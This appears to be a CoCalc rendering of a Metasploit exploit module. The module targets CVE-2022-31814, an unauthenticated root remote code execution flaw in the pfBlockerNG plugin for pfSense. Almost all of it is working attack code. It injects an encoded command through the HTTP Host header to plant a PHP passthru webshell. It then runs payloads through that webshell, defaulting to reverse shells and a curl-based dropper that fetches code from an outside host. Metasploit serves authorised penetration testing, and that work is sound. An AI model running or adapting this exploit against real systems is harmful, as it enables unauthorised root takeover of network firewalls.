CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/http/pfsense_pfblockerng_webshell.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::CmdStager
11
include Msf::Exploit::FileDropper
12
13
prepend Msf::Exploit::Remote::AutoCheck
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'pfSense plugin pfBlockerNG unauthenticated RCE as root',
20
'Description' => %q{
21
pfBlockerNG is a popular pfSense plugin that is not installed by default. It’s generally used to
22
block inbound connections from whole countries or IP ranges. Versions 2.1.4_26 and below are affected
23
by an unauthenticated RCE vulnerability that results in root access. Note that version 3.x is unaffected.
24
},
25
'Author' => [
26
'IHTeam', # discovery
27
'jheysel-r7' # module
28
],
29
'References' => [
30
[ 'CVE', '2022-31814' ],
31
[ 'URL', 'https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/'],
32
[ 'EDB', '51032' ]
33
],
34
'License' => MSF_LICENSE,
35
'Platform' => 'unix',
36
'Privileged' => false,
37
'Arch' => [ ARCH_CMD ],
38
'Targets' => [
39
[
40
'Unix Command',
41
{
42
'Platform' => 'unix',
43
'Arch' => ARCH_CMD,
44
'Type' => :unix_cmd,
45
'DefaultOptions' => {
46
'PAYLOAD' => 'cmd/unix/reverse_openssl'
47
}
48
}
49
],
50
[
51
'BSD Dropper',
52
{
53
'Platform' => 'bsd',
54
'Arch' => [ARCH_X64],
55
'Type' => :bsd_dropper,
56
'CmdStagerFlavor' => [ 'curl' ],
57
'DefaultOptions' => {
58
'PAYLOAD' => 'bsd/x64/shell_reverse_tcp'
59
}
60
}
61
]
62
],
63
'DefaultTarget' => 1,
64
'DisclosureDate' => '2022-09-05',
65
'DefaultOptions' => {
66
'SSL' => true,
67
'RPORT' => 443
68
},
69
'Notes' => {
70
'Stability' => [ CRASH_SERVICE_DOWN ],
71
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
72
'Reliability' => [ REPEATABLE_SESSION, ]
73
}
74
)
75
)
76
77
register_options(
78
[
79
OptString.new('WEBSHELL_NAME', [
80
false, 'The name of the uploaded webshell sans the ".php" ending. This value will be randomly generated if left unset.', nil
81
])
82
]
83
)
84
end
85
86
def upload_shell
87
print_status 'Uploading shell...'
88
if datastore['WEBSHELL_NAME'].blank?
89
@webshell_name = "#{Rex::Text.rand_text_alpha(8..16)}.php"
90
else
91
@webshell_name = "#{datastore['WEBSHELL_NAME']}.php"
92
end
93
@parameter_name = Rex::Text.rand_text_alpha(4..12)
94
print_status("Webshell name is: #{@webshell_name}")
95
web_shell_contents = <<~EOF
96
<?php echo file_put_contents('/usr/local/www/#{@webshell_name}','<?php echo(passthru($_POST["#{@parameter_name}"]));');
97
EOF
98
encoded_php = web_shell_contents.unpack('H*')[0].upcase
99
send_request_raw(
100
'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'),
101
'headers' => {
102
'Host' => "' *; echo '16i #{encoded_php} P' | dc | php; '"
103
}
104
)
105
sleep datastore['WfsDelay']
106
register_file_for_cleanup("/usr/local/www/#{@webshell_name}")
107
end
108
109
def check
110
test_file_name = Rex::Text.rand_text_alpha(4..12)
111
test_file_content = Rex::Text.rand_text_alpha(4..12)
112
test_injection = <<~EOF
113
<?php echo file_put_contents('/usr/local/www/#{test_file_name}','#{test_file_content}');
114
EOF
115
encoded_php = test_injection.unpack('H*')[0].upcase
116
send_request_raw(
117
'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'),
118
'headers' => {
119
'Host' => "' *; echo '16i #{encoded_php} P' | dc | php; '"
120
}
121
)
122
sleep datastore['WfsDelay']
123
124
check_resp = send_request_cgi(
125
'method' => 'GET',
126
'uri' => normalize_uri(target_uri.path, "/#{test_file_name}")
127
)
128
return Exploit::CheckCode::Safe('Error uploading shell, the system is likely patched.') if check_resp.nil? || !check_resp.code == 200 || !check_resp.body.include?(test_file_content)
129
130
# Clean up test webshell "/usr/local/www/#{test_file_name}"
131
clean_up_injection = <<~EOF
132
<?php echo unlink('/usr/local/www/#{test_file_name}');
133
EOF
134
encoded_clean_up = clean_up_injection.unpack('H*')[0].upcase
135
send_request_raw(
136
'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'),
137
'headers' => {
138
'Host' => "' *; echo '16i #{encoded_clean_up} P' | dc | php; '"
139
}
140
)
141
Exploit::CheckCode::Vulnerable
142
end
143
144
def execute_command(cmd, _opts = {})
145
send_request_cgi({
146
'method' => 'POST',
147
'uri' => normalize_uri(target_uri.path, @webshell_name),
148
'headers' => {
149
'Content-Encoding' => 'application/x-www-form-urlencoded; charset=UTF-8'
150
},
151
'vars_post' => {
152
@parameter_name.to_s => cmd
153
}
154
})
155
end
156
157
def exploit
158
upload_shell
159
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
160
case target['Type']
161
when :unix_cmd
162
execute_command(payload.encoded)
163
when :bsd_dropper
164
execute_cmdstager
165
end
166
end
167
end
168
169